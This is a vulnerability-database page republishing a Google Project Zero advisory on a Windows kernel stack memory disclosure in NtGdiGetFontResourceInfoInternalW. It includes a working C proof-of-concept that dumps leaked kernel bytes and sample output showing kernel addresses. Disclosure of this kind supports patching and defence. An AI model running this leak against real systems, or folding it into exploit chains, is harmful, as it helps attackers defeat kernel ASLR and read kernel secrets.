Lucene search
K

Microsoft Windows Kernel - 'win32k!NtGdiGetFontResourceInfoInternalW' Stack Memory Disclosure

🗓️ 18 Sep 2017 00:00:00Reported by Google Security ResearchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Microsoft Windows Kernel Stack Memory Disclosure bu

Code
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1275

We have discovered that the nt!NtGdiGetFontResourceInfoInternalW system call discloses portions of uninitialized kernel stack memory to user-mode clients.

This is caused by the fact that for user-specified output buffer sizes up to 0x5c, a temporary stack-based buffer is used by the syscall for optimization. As opposed to the pool allocation, the stack memory area is not pre-initialized with zeros, and when it is copied back to user-mode in its entirety, its contents disclose leftover kernel stack bytes containing potentially sensitive information.

The vulnerability is fixed in Windows 10, which has the following memset() call at the beginning of the function:

--- cut ---
.text:0025F9E6                 push    5Ch             ; size_t
.text:0025F9E8                 push    ebx             ; int
.text:0025F9E9                 lea     eax, [ebp+var_118]
.text:0025F9EF                 push    eax             ; void *
.text:0025F9F0                 call    _memset
--- cut ---

This indicates that Microsoft is aware of the bug but didn't backport the fix to systems earlier than Windows 10. The issue was in fact discovered by cross-diffing the list of memset calls between Windows 7 and Windows 10, which illustrates how easy it is to use exclusive patches for one system version to attack another.

The attached proof-of-concept program demonstrates the disclosure. An example output is as follows:

--- cut ---
00000000: 00 00 00 00 a9 fb c2 82 02 00 00 00 19 00 00 00 ................
00000010: 00 00 00 00 46 69 6c 65 a8 6f 06 89 46 69 6c 65 ....File.o..File
00000020: c8 00 00 00 ff 07 00 00 00 00 00 00 00 30 06 89 .............0..
00000030: 00 08 00 00 46 02 00 00 68 72 b8 93 d0 71 b8 93 ....F...hr...q..
00000040: a8 71 b8 93 00 8b 2e 9a 98 a8 a2 82 68 8b 2e 9a .q..........h...
00000050: fa a8 a2 82 a8 71 b8 93 46 69 6c e5 ?? ?? ?? ?? .....q..Fil.....
--- cut ---

Only the first four bytes of the data are properly initialized to 0x00, while the rest are visibly leaked from the kernel stack and contain a multitude of kernel-space addresses, readily facilitating exploitation of other memory corruption vulnerabilities.

The bug is limited to leaking at most ~0x5c bytes at a time, as specifying a larger size will provoke a correctly padded pool allocation instead of the stack-based buffer.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

// Undocumented definitions for the gdi32!GetFontResourceInfoW function.
typedef BOOL(WINAPI *PGFRI)(LPCWSTR, LPDWORD, LPVOID, DWORD);

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Resolve the GDI32!GetFontResourceInfoW symbol.
  HINSTANCE hGdi32 = LoadLibrary(L"gdi32.dll");
  PGFRI GetFontResourceInfo = (PGFRI)GetProcAddress(hGdi32, "GetFontResourceInfoW");

  // Trigger the vulnerability and dump kernel stack output. The code assumes that Windows is
  // installed on partition C:\ and the C:\Windows\Fonts\arial.ttf font is present on disk.
  BYTE OutputBuffer[0x5c] = { /* zero padding */ };
  DWORD OutputSize = sizeof(OutputBuffer);
  if (!GetFontResourceInfo(L"C:\\Windows\\Fonts\\arial.ttf", &OutputSize, OutputBuffer, 5)) {
    printf("GetFontResourceInfo failed.\n");
    return 1;
  }

  PrintHex(OutputBuffer, sizeof(OutputBuffer));

  return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Sep 2017 00:00Current
7.4High risk
Vulners AI Score7.4
36